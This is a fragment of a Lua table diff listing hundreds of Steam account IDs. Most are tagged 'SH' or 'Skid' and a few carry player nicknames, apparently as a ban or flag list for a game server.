["STEAM_0:1:7880281"] = {SH = true}, + ["STEAM_0:0:20914137"] = {SH = true}, + ["STEAM_0:1:24563693"] = {Name = "factorymark", SH = true}, + ["STEAM_0:0:36205580"] = {SH = true}, + ["STEAM_0:0:42075936"] = {SH = true}, + ["STEAM_0:1:14864726"] = {SH = true}, + ["STEAM_0:1:19487854"] = {SH = true}, + ["STEAM_0:1:22293020"] = {SH = true}, + ["STEAM_0:1:9281513"] = {SH = true}, + ["STEAM_0:1:13222876"] = {SH = true}, + ["STEAM_0:0:26845704"] = {SH = true}, + ["STEAM_0:1:22090954"] = {SH = true}, + ["STEAM_0:1:40421851"] = {SH = true}, + ["STEAM_0:0:27126215"] = {SH = true}, + ["STEAM_0:1:10419221"] = {SH = true}, + ["STEAM_0:1:17796623"] = {SH = true}, + ["STEAM_0:0:26339823"] = {SH = true}, + ["STEAM_0:1:34087705"] = {SH = true}, + ["STEAM_0:1:40407732"] = {Name = "CryoShocked", SH = true}, + ["STEAM_0:1:24769606"] = {SH = true}, + ["STEAM_0:0:36742559"] = {SH = true}, + ["STEAM_0:1:24413062"] = {SH = true}, + ["STEAM_0:1:25725691"] = {SH = true}, + ["STEAM_0:1:23359101"] = {SH = true}, + ["STEAM_0:1:22689778"] = {SH = true}, + ["STEAM_0:0:39712792"] = {Name = "FuttBucker", SH = true}, + ["STEAM_0:0:18921858"] = {SH = true}, + ["STEAM_0:1:35038611"] = {SH = true}, +} + + + +Bulk = { + ["STEAM_0:1:34909620"] = {Name = "billyfoster", Skid = true}, + ["STEAM_0:1:18534117"] = {Name = "relyt414", Skid = true}, + ["STEAM_0:0:47674314"] = {Name = "xttgxpoisonx", Skid = true}, + ["STEAM_0:1:43859626"] = {Name = "Spider Man Man Man", Skid = true}, + ["STEAM_0:0:25159057"] = {Skid = true}, + ["STEAM_0:1:39724060"] = {Name = "dagalexus", Skid = true}, + ["STEAM_0:1:53856451"] = {Name = "laurens1710d", Skid = true}, + ["STEAM_0:0:12446046"] = {Name = "bbgun30", Skid = true}, + ["STEAM_0:1:38706401"] = {Name = "Mikethanh", Skid = true}, + ["STEAM_0:1:38736664"] = {Name = "k0nr4d99", Skid = true}, + + ["STEAM_0:0:18005134"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39670975"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26299900"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33710519"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25934945"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38161418"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24148378"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34545745"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36424342"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19793410"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29958294"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9420667"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18737836"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33790093"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19771922"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37690671"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37837622"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:45773916"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37511026"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20303838"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29761674"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34439266"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15901137"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:51458768"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20671272"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30231041"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19784536"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7308244"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:313243"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29522540"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33825464"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18071840"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26266349"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31944106"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20952781"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32016608"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14457224"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15130879"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48567023"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25484203"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:2676958"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12703324"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31886312"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38607187"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32165625"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21142494"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10030523"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32664456"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41288118"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12415589"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24605912"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37891038"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11461722"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21922937"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29413573"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20789010"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41862744"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20510578"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19356409"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37899595"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30426035"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16340664"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24561042"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28021105"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31792376"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24813252"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13454690"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39799709"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41210076"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32513322"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20276749"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18117356"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9776887"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20011869"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27006816"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20765562"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32105089"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:4485529"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23916425"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17594809"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42971672"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34543854"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36988619"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42108801"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22900670"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33076223"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:133121"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28119660"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15452977"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24451886"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18286164"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24915085"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18127401"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37816503"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31830933"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23847271"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:4105607"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41952962"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26913884"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28907091"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42291030"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36920226"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18405450"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23860352"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31767853"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10120361"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9839469"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6225168"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29142938"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12983179"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41057831"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18270208"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:47793588"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25634996"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35160294"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24538660"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:2373680"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21770563"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7673586"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33210948"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32870065"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35151416"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30041051"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14035026"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26179074"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23095275"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37665409"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9343127"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37108341"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17313690"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23333473"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30427597"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29276239"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7453489"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:1267752"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14119311"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27528816"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17610350"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20800165"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33495334"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25565668"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37104257"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23585574"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27601195"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33326183"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34935530"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31467123"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27196754"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10777522"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10271841"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31498992"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28472930"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25748231"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24346494"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15704645"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17093191"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32904459"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34408188"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33757097"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24834331"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35068874"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:1858110"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11344795"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33064626"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14672615"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48355934"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40675881"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37546352"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38010792"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20157456"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3057448"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:1488874"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33777092"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19920321"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15273811"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37511026317"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33533135"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:1553711"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23357709"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25433839"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20979766"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32345652"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19142170"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25281740"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19684426"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14790320"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24969514"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26494150"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6036960"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18376303"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29466977"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41478637"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28406949"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14325047"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23994344"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17776505"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26480395"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14982442"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32609027"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25265029"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22852249"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22381487"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21829364"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39593848"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20161051"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28473945"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15654021"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42573276"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13436811"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14237704"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30560400"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30978957"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15625919"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17451979"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:506569"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41108147"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24858524"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25566081"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:2228127"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34960280"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24819248"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33048823"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35038013"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:49411848"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33469486"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16847565"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20814373"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25056637"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28882249"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25452630"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22452138"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30701204"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30329634"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6580379"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29144754"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3790329"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19954550"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42457031"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:46507896"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5545402"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27439689"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6078725"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17671662"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34519698"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14707556"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23818232"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:441324"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20558681"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21009079"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3077518"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20595169"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27327327"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23772934"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15926083"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27203182"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21412766"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15697497"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33322285"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29349944"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18939936"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26769584"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33839774"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12318661"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19507043"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14926348"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19800917"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29070371"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14885105"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34526102"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18942868"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32213626"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:4098182"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22012719"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13931209"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19158061"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19627285"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23401544"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25064912"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31297727"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3091328"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29043561"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32526879"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20164477"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35778355"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33936975"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20137994"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26362458"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32373583"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37518531"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12186667"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28014984"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17995146"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26748378"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6382894"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25281238"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29711775"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17571482"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19984257"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:4293436"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31230481"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24539492"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23688841"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12089474"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15597391"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:47404449"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20564249"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18788257"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34385817"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3595229"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32402005"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20693808"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29078065"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25739249"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8623948"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15098019"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:681422"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17582886"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:1744429"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10958436"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25973314"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29821915"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43855366"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41221427"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32870947"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23586201"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22073425"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:49224469"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40730545"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10851256"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19396099"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43924685"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:2835199"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24793146"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29205771"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37171713"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27789827"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19247250"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22135120"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26659410"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15661347"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29291804"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9858505"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:1913201"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29543208"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26439207"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30411899"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30049961"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23923790"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33158647"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19816826"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19932404"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27555106"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40077536"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3851670"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30266300"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24818473"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26703781"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19196273"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29693052"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3682243"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19614548"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26233730"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29932068"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34239589"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26089849"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24896375"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:46925252"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42350044"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33438782"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21027221"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41535788"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13604058"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19527953"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25093033"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5492293"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22586111"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26128847"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33337341"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37589465"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35782402"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10935064"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26348347"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5911453"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48762566"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30399731"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16683432"] = {Name = "banlist: ", Skid = true}, + 